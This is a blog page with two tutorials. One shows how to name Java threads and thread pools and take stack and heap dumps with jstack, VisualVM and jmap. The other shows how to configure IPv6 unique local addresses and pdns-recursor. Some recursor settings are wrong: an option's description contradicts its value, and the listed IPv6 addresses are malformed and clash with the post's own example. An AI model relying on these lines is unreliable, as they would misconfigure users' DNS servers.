How to set java thread name, thread pool name, get stack dump and heap dump

If you have been developing java application and one of the exception could be shown in the log, "java.lang.OutOfMemoryError: unable to create new native thread". This is what we are going to learn today. We will learn how to set thread a name, set a thread pool name, get the stack dump and get java heap dump and so we know why the exception aforementioned is thrown. This is in response to doing exercises after read the article http://code.nomad-labs.com/2012/12/20/some-tips-on-java-lang-outofmemoryerror-unable-to-create-new-native-thread/

I will divide these exercises into sub topics and we will learn one by one. We will start with simple exercise first.

How to name a thread?
To set a name for a thread, you will need to call method setName(), then show the currently running thread using Thread.currentThread().getName(). See example below.

public class Minion implements Runnable {
    
    private String name = null;
    
    public Minion(String name) {
        this.name = name;
    }

    @Override
    public void run() {
        Thread.currentThread().setName(name);
        System.out.printf("minion %s eating banana", Thread.currentThread().getName());
    }

}

Another modified version as below. Note that we do not set thread name here, we set it in the class ThreadFactory. Read on to find out why later in this article.

import java.util.Random;


public class Minion implements Runnable {
    
    private static String[] fruits = {"apple", "banana"}; 
    
    public Minion() {
     
    }

    @Override
    public void run() {
        try {
            // banana or apple
            int idx = new Random().nextInt(fruits.length);
            System.out.printf("minion %s eating %s %n", Thread.currentThread().getName(), fruits[idx]);
            Thread.sleep((idx * 1000) + 10000);
            StackTraceElement[] ste =Thread.currentThread().getStackTrace();
            
            System.out.printf("minion %s done eat %s %n", Thread.currentThread().getName(), fruits[idx]);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

    }

}

You can pass the task in the constructor as a parameter but for the sake of simplicity, I hard coded task within this worker thread, two fruits; apple and banana. Longer thread sleep because later in this article, we will using this class for getting heap dump and thread dump.

How to name the thread pool?

To change name of a thread pool, you will need to implement ThreadFactory and then override namePrefix in the constructor. There are some other libraries which is easier and do that for you but we will not look in other libraries but only java native libraries. Let's do the work, see example below.

import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;


public class GruThreadFactory implements ThreadFactory {
    
    static final AtomicInteger poolNumber = new AtomicInteger(1);
    final ThreadGroup group;
    final AtomicInteger threadNumber = new AtomicInteger(1);
    final String namePrefix;
    
    public GruThreadFactory() {
        SecurityManager s = System.getSecurityManager();
        group = (s != null) ? s.getThreadGroup() : Thread.currentThread().getThreadGroup();
        namePrefix = "GruPool-" + poolNumber.getAndIncrement() + "-thread-";
    }

    @Override
    public Thread newThread(Runnable r) {
        final Thread t = new Thread(group, r, namePrefix + threadNumber.getAndIncrement(), 0);
        if (t.isDaemon())
            t.setDaemon(false);
        if (t.getPriority() != Thread.NORM_PRIORITY)
            t.setPriority(Thread.NORM_PRIORITY);
        return t;
    }

}

and the modified version. As you can see, minions are passed into GruThreadFactory constructor and then each time a newThread() is called, the thread name is named as random to the String array minions.

import java.util.Random;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;


public class GruThreadFactory implements ThreadFactory {
    
    static final AtomicInteger poolNumber = new AtomicInteger(1);
    final ThreadGroup group;
    final AtomicInteger threadNumber = new AtomicInteger(1);
    final String namePrefix;
    final String[] minions;
    
    public GruThreadFactory(String[] minions) {
        SecurityManager s = System.getSecurityManager();
        group = (s != null) ? s.getThreadGroup() : Thread.currentThread().getThreadGroup();
        namePrefix = "GruPool-" + poolNumber.getAndIncrement() + "-thread-";
        this.minions = minions; 
    }

    @Override
    public Thread newThread(Runnable r) {
        int index = new Random().nextInt(minions.length);
        final Thread t = new Thread(group, r, namePrefix + minions[index], 0);
        if (t.isDaemon())
            t.setDaemon(false);
        if (t.getPriority() != Thread.NORM_PRIORITY)
            t.setPriority(Thread.NORM_PRIORITY);
        return t;
    }

}

and then out main app to bind the ThreadFactory and the workers.

import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;


public class MainApp {

    /**
     * @param args
     * @throws InterruptedException 
     */
    public static void main(String[] args) throws InterruptedException {
        ThreadFactory GruFactory = null;
        ExecutorService exec = null;
        
        try {
            String[] minions = {"Dave", "Stuart", "Kevin", "Jerry", "Carl", "Phil", "Paul", "Mike", "Jorge"};
            GruFactory = new GruThreadFactory(minions);
            exec = Executors.newFixedThreadPool(minions.length, GruFactory);
            
            for (int i = 0; i < 90; i++) {
                Minion m = new Minion();
                exec.execute(m);
            }
            exec.shutdown();
            while (!exec.isTerminated()) {
                
            }
            
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            
            System.out.println("done");
        }

    }

}

Now to check. Output below is from the modified version. Note that you may have different output than mine but that is as expected. I paste only a few lines below.

minion GruPool-1-thread-Mike eating banana 
minion GruPool-1-thread-Phil eating banana 
minion GruPool-1-thread-Mike eating apple 
minion GruPool-1-thread-Stuart eating banana 
minion GruPool-1-thread-Mike done eat apple 
minion GruPool-1-thread-Paul eating banana 
minion GruPool-1-thread-Stuart done eat banana 
minion GruPool-1-thread-Stuart eating apple 
minion GruPool-1-thread-Stuart done eat apple 
minion GruPool-1-thread-Stuart eating apple 
minion GruPool-1-thread-Stuart done eat apple 
minion GruPool-1-thread-Stuart eating banana 
..
..
minion GruPool-1-thread-Paul done eat apple 
minion GruPool-1-thread-Jorge eating apple 
minion GruPool-1-thread-Jorge done eat apple 
minion GruPool-1-thread-Mike done eat banana 
minion GruPool-1-thread-Paul done eat banana 
minion GruPool-1-thread-Mike done eat banana 
minion GruPool-1-thread-Jerry done eat banana 
minion GruPool-1-thread-Stuart done eat banana 
minion GruPool-1-thread-Mike done eat banana 
done

So far so good, our app work.

How to get a stack dump?

In order to get a stack dump, you can use jstack. When you install jdk, jstack came with it. To get the stack dump,

jstack -F 19557  &> jstack.log

where 19557 is the pid of the java process and we redirected stdout and stderr to a file. There are several command to get the process id, you can either use ps or java jps. Output as attached.

Attaching to process ID 19557, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 20.6-b01
Deadlock Detection:

No deadlocks found.

Thread 19586: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19585: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19584: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19583: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19582: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19581: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19580: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19579: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19578: (state = BLOCKED)
 - java.lang.Thread.sleep(long) @bci=0 (Interpreted frame)
 - Minion.run() @bci=55, line=18 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.runTask(java.lang.Runnable) @bci=59, line=886 (Interpreted frame)
 - java.util.concurrent.ThreadPoolExecutor$Worker.run() @bci=28, line=908 (Interpreted frame)
 - java.lang.Thread.run() @bci=11, line=662 (Interpreted frame)


Thread 19573: (state = BLOCKED)


Thread 19572: (state = BLOCKED)
 - java.lang.Object.wait(long) @bci=0 (Interpreted frame)
 - java.lang.ref.ReferenceQueue.remove(long) @bci=44, line=118 (Interpreted frame)
 - java.lang.ref.ReferenceQueue.remove() @bci=2, line=134 (Interpreted frame)
 - java.lang.ref.Finalizer$FinalizerThread.run() @bci=3, line=159 (Interpreted frame)


Thread 19571: (state = BLOCKED)
 - java.lang.Object.wait(long) @bci=0 (Interpreted frame)
 - java.lang.Object.wait() @bci=2, line=485 (Interpreted frame)
 - java.lang.ref.Reference$ReferenceHandler.run() @bci=46, line=116 (Interpreted frame)


Thread 19564: (state = IN_JAVA)
 - MainApp.main(java.lang.String[]) @bci=119, line=28 (Compiled frame; information may be imprecise)

jstack output show

• it has 9 threads with Minion.run().


• no deadlocks


• individual thread state was blocked because it was sleeping.


• main thread state is in IN_JAVA which is running in Java or in stub code.

Another useful information could probably be thread dump. With visualvm, you can actually see the thread running over time, I recorded a video and you should try to watch it.

http://www.youtube.com/watch?v=REoi6sbcIUY

Also see the thread dump capture using VisualVM

2014-10-07 22:58:32
Full thread dump Java HotSpot(TM) 64-Bit Server VM (20.6-b01 mixed mode):

"RMI TCP Connection(2)-127.0.0.1" daemon prio=10 tid=0x00007fd5c0003000 nid=0x646c runnable [0x00007fd618af8000]
   java.lang.Thread.State: RUNNABLE
	at java.net.SocketInputStream.socketRead0(Native Method)
	at java.net.SocketInputStream.read(SocketInputStream.java:129)
	at java.io.BufferedInputStream.fill(BufferedInputStream.java:218)
	at java.io.BufferedInputStream.read(BufferedInputStream.java:237)
	- locked <0x00000007d7ece620> (a java.io.BufferedInputStream)
	at java.io.FilterInputStream.read(FilterInputStream.java:66)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:517)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d79e3908> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"JMX server connection timeout 22" daemon prio=10 tid=0x00007fd5b4008000 nid=0x6464 in Object.wait() [0x00007fd618bf9000]
   java.lang.Thread.State: TIMED_WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007d7b6ddb8> (a [I)
	at com.sun.jmx.remote.internal.ServerCommunicatorAdmin$Timeout.run(ServerCommunicatorAdmin.java:150)
	- locked <0x00000007d7b6ddb8> (a [I)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- None

"RMI Scheduler(0)" daemon prio=10 tid=0x00007fd5b4004800 nid=0x6463 waiting on condition [0x00007fd618cfa000]
   java.lang.Thread.State: TIMED_WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007d799dc18> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025)
	at java.util.concurrent.DelayQueue.take(DelayQueue.java:164)
	at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:609)
	at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:602)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:947)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:907)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- None

"RMI TCP Connection(1)-127.0.0.1" daemon prio=10 tid=0x00007fd5c0001800 nid=0x6462 runnable [0x00007fd618efc000]
   java.lang.Thread.State: RUNNABLE
	at java.net.SocketInputStream.socketRead0(Native Method)
	at java.net.SocketInputStream.read(SocketInputStream.java:129)
	at java.io.BufferedInputStream.fill(BufferedInputStream.java:218)
	at java.io.BufferedInputStream.read(BufferedInputStream.java:237)
	- locked <0x00000007d7b1e8f8> (a java.io.BufferedInputStream)
	at java.io.FilterInputStream.read(FilterInputStream.java:66)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:517)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d79e3430> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"RMI TCP Accept-0" daemon prio=10 tid=0x00007fd5bc424800 nid=0x6460 runnable [0x00007fd618ffd000]
   java.lang.Thread.State: RUNNABLE
	at java.net.PlainSocketImpl.socketAccept(Native Method)
	at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
	- locked <0x00000007d79ac788> (a java.net.SocksSocketImpl)
	at java.net.ServerSocket.implAccept(ServerSocket.java:462)
	at java.net.ServerSocket.accept(ServerSocket.java:430)
	at sun.management.jmxremote.LocalRMIServerSocketFactory$1.accept(LocalRMIServerSocketFactory.java:34)
	at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:369)
	at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:341)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- None

"Attach Listener" daemon prio=10 tid=0x00007fd5f4001000 nid=0x645e waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

   Locked ownable synchronizers:
	- None

"GruPool-1-thread-Paul" prio=10 tid=0x00007fd61c0f8000 nid=0x6451 waiting on condition [0x00007fd620898000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706f6c8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Carl" prio=10 tid=0x00007fd61c0f6000 nid=0x6450 waiting on condition [0x00007fd620999000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706f3f0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Jorge" prio=10 tid=0x00007fd61c0f4000 nid=0x644f waiting on condition [0x00007fd620a9a000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706f168> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Dave" prio=10 tid=0x00007fd61c0f2000 nid=0x644e waiting on condition [0x00007fd620b9b000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706eee0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Phil" prio=10 tid=0x00007fd61c0f0000 nid=0x644d waiting on condition [0x00007fd620c9c000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706ec58> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Jorge" prio=10 tid=0x00007fd61c0ee000 nid=0x644c waiting on condition [0x00007fd620d9d000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706e9a0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Carl" prio=10 tid=0x00007fd61c0ec800 nid=0x644b waiting on condition [0x00007fd620e9e000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706e718> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Dave" prio=10 tid=0x00007fd61c0eb000 nid=0x644a waiting on condition [0x00007fd620f9f000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706e490> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"GruPool-1-thread-Mike" prio=10 tid=0x00007fd61c0e9800 nid=0x6449 waiting on condition [0x00007fd6210a0000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
	at java.lang.Thread.sleep(Native Method)
	at Minion.run(Minion.java:18)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:662)

   Locked ownable synchronizers:
	- <0x00000007d706d8e8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

"Low Memory Detector" daemon prio=10 tid=0x00007fd61c094000 nid=0x6447 runnable [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

   Locked ownable synchronizers:
	- None

"C2 CompilerThread1" daemon prio=10 tid=0x00007fd61c092000 nid=0x6446 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

   Locked ownable synchronizers:
	- None

"C2 CompilerThread0" daemon prio=10 tid=0x00007fd61c08f000 nid=0x6445 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

   Locked ownable synchronizers:
	- None

"Signal Dispatcher" daemon prio=10 tid=0x00007fd61c08d000 nid=0x6444 runnable [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

   Locked ownable synchronizers:
	- None

"Finalizer" daemon prio=10 tid=0x00007fd61c071000 nid=0x6443 in Object.wait() [0x00007fd62182f000]
   java.lang.Thread.State: WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007d7001300> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
	- locked <0x00000007d7001300> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
	at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:159)

   Locked ownable synchronizers:
	- None

"Reference Handler" daemon prio=10 tid=0x00007fd61c06f000 nid=0x6442 in Object.wait() [0x00007fd621930000]
   java.lang.Thread.State: WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007d70011d8> (a java.lang.ref.Reference$Lock)
	at java.lang.Object.wait(Object.java:485)
	at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
	- locked <0x00000007d70011d8> (a java.lang.ref.Reference$Lock)

   Locked ownable synchronizers:
	- None

"main" prio=10 tid=0x00007fd61c00a800 nid=0x643c runnable [0x00007fd623a7f000]
   java.lang.Thread.State: RUNNABLE
	at MainApp.main(MainApp.java:28)

   Locked ownable synchronizers:
	- None

"VM Thread" prio=10 tid=0x00007fd61c068800 nid=0x6441 runnable 

"GC task thread#0 (ParallelGC)" prio=10 tid=0x00007fd61c01d800 nid=0x643d runnable 

"GC task thread#1 (ParallelGC)" prio=10 tid=0x00007fd61c01f800 nid=0x643e runnable 

"GC task thread#2 (ParallelGC)" prio=10 tid=0x00007fd61c021000 nid=0x643f runnable 

"GC task thread#3 (ParallelGC)" prio=10 tid=0x00007fd61c023000 nid=0x6440 runnable 

"VM Periodic Task Thread" prio=10 tid=0x00007fd61c09e800 nid=0x6448 waiting on condition 

JNI global references: 948

How to get a heap dump?

To get a heap dump, we will use jmap. Just like jstack, jmap also come with jdk installation. To get a heap dump, run the command such as below.

user@localhost:~$ jmap -dump:format=b,file=myapp.hprof 26266
Dumping heap to /home/user/myapp.hprof ...
Heap dump file created

Then you can inspect using visualvm. See the following screenshot.

As you can see, the classes and instance give a lot of information about how much instances it created and it occupied for the size.

With all these method written out, I hope the next time this exception happen to you, get know what are the tools and steps needed to start investigating into the cause.

Good luck!

How to configure pdns-recursor to support IPv6 and configure Unique Local Address in a Stateless Address Configuration network

In this article, we will learn how to configure pdns-recursor. Because I have a stateless auto configuration from my ISP, each time my router rebooted, I get different IPv6 subnet. In this case, we will use a private address for our network. In IPv6, it is known as unique local address or ULA. There will be some steps involve and be patient and follow this article, hopefully in the end, you will enjoy the benefit too as I did.

First, let's generate ULA for our network. There are several ways to generate and I provided you a few.

• https://www.ultratools.com/tools/rangeGenerator


• http://www.simpledns.com/private-ipv6.aspx


• http://unique-local-ipv6.com/


• subnetcalc fd00:: 64 -uniquelocal -n

First three commands, it is generated from the web and the last is a command you can generate via terminal. As an example for this article, I will use the following.

Network       = fd2e:66b6:60c8:: / 64
Netmask       = ffff:ffff:ffff:ffff::
Wildcard Mask = ::ffff:ffff:ffff:ffff
Hosts Bits    = 64
Max. Hosts    = 18446744073709551616   (2^64 - 1)
Host Range    = { fd2e:66b6:60c8::1 - fd2e:66b6:60c8:0:ffff:ffff:ffff:ffff }

Next we will set IP address accordingly to the system. We will have a server and a client. To make simple and easy for this article, we will use the example previously by extending to the server and client. Let's choose now.

server fd2e:66b6:60c8::192:168:133:20
client fd2e:66b6:60c8::192:168:133:90

Notice the IP address, the address end with address from IPv4. easier to remember. hopefully. To test quickly, we can set the server and client using the following command.

server => ip -6 addr add fd2e:66b6:60c8::192:168:133:20/64 dev eth0
client => ip -6 addr add fd2e:66b6:60c8::192:168:133:90/64 dev wlan0

Now down the road, if you are happy, you might want to make it permanent so the setting survive over a system reboot. To make it permanent, it is depending on the operating system you are using. I will show you how I do it in ubuntu (server) and debian (client).

In ubuntu, add addtional entry in /etc/network/interfaces

iface eth0 inet6 static
pre-up modprobe ipv6
address fd2e:66b6:60c8::192:168:133:20
netmask 64

In debian, using network-manager applet, go to the IPv6 Settings tab. See screenshot.



Method, select Automatic, addresses only. We want only the public IPv6 address from router but in the DNS servers field, provide the server IP address. In this example fd2e:66b6:60c8::192:168:133:20. Save the settings and close the windows.

Right now your client should have public IPv6 address and DNS from server configured. But what about the private IP for this client? Because when the interface is bring up, we will set the wireless lan interface for the ip. network-manager will call the script in /etc/network/if-up.d/. So add a script to set the address accordingly. Example

user@localhost:~$ cat /etc/network/if-up.d/addPrivateIPv6 
#!/bin/bash
 
IF=$IFACE
STATUS=$MODE

 
if [ "$IF" = "wlan0" ]; then
    case "$STATUS" in
        up)
        logger -s "NM Script up triggered"
        ;;
        start)
        logger -s "NM Script up triggered"
        ip -6 addr add fd2e:66b6:60c8::192:168:133:90/64 dev wlan0
        ;;
        down)
        logger -s "NM Script down triggered"
        ;;
        pre-up)
        logger -s "NM Script pre-up triggered"
        ;;
        post-down)
        logger -s "NM Script post-down triggered"
        ;;
        *)
        ;;
    esac
fi

The important is when the interface is wlan0 and status is up, the address will be set accordingly. Okay, we will check now in the server and client. You can use the command ip addr show.

   eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:00:00:00:00:00 00 ff:ff:ff:ff:ff:ff
    inet 192.168.133.20/24 brd 192.168.133.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 2001:0:0:0:0:0:0:0/64 scope global dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fd2e:66b6:60c8::192:168:133:20/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::0:0:0:0/64 scope link 
       valid_lft forever preferred_lft forever


   wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.133.90/24 brd 192.168.133.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet6 fd2e:66b6:60c8::192:168:133:90/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 2001:0:0:0:0:0:0:0/64 scope global dynamic 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::0:0:0:0/64 scope link 
       valid_lft forever preferred_lft forever

So all good, the server and client get SLAAC address from router and they have their own private IP address. Fantastic!

Next, I will assume that you have pdns-recursor  installed and configured. If you don't, it is as easily as apt-get install pdns-recursor. To resolve IPv6 address correctly, below are some configuration you need to change.

edit this file /etc/powerdns/recursor.conf and change the following.

• aaaa-additional-processing=yes
  turn off processing for ipv6


• allow-from=127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, ::1/128, fe80::/10, fd2e:66b6:60c8::/64
  allow dns query from localhost, link local and the subnet fd2e:66b6:60c8. This is an example, change the subnet address accordingly to your settings.


• local-address=127.0.0.1, 192.168.0.2, 192.168.5.1, ::1, fd11:b788:830f:8dc2:192.168.133.20
  local address of the system. Again, as this is an example, you should change to your value.


• query-local-address6=fd11:b788:830f:8dc2:192.168.133.20
  your system local address. Again, as this is an example, you should change to your value.

Now restart pdns-recursor and check syslog if there is any error.

We are good, we done with the configuration. Now one last step, we test it!

user@localhost:~$ dig aaaa google.com @fd11:b788:830f:8dc2:192.168.133.20

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> aaaa google.com @fd11:b788:830f:8dc2:192.168.133.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7269
